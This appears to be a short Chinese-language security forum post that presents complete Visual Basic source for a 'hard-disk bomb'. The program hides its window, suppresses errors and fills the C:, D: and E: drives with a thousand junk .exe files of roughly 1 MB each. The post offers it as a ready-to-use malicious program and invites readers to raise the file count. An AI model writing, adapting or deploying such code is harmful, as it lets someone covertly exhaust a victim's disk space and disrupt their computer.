[安全] VB编写硬盘炸弹

所谓的硬盘炸弹就是把硬盘的各分区用垃圾文件占满。。道理很简单，编写也容易。。

Private Sub Form_Load()
On Error Resume Next          ' 出错继续
dim i  as Integer                      '定义变量
me.hide                                      '后台执行
For i = 1 To 1000          '这个是写入垃圾的个数，可随便修改
Open "c:fimrrir" + Str(i) + ".exe" For Random As #1      '在c:下生成垃圾文件
Put #1, 1000000, "fimrrir"                                                '1000000指的是生成文件的大小，大概是1.2M
                                                                                                      
Close #1            '关闭打开的文件
Next                    ' 循环
For i = 1 To 1000          '这个是写入垃圾的个数，可随便修改
Open "E:fimrrir" + Str(i) + ".exe" For Random As #2
Put #2, 1000000, "fimrrir"
                                                                                                      
Close #2            '关闭打开的文件
Next                    ' 循环
For i = 1 To 1000          '这个是写入垃圾的个数，可随便修改
Open "D:fimrrir" + Str(i) + ".exe" For Random As #3
Put #3, 1000000, "fimrrir"
                                                                                                      
Close #3            '关闭打开的文件
Next                    ' 循环
End Sub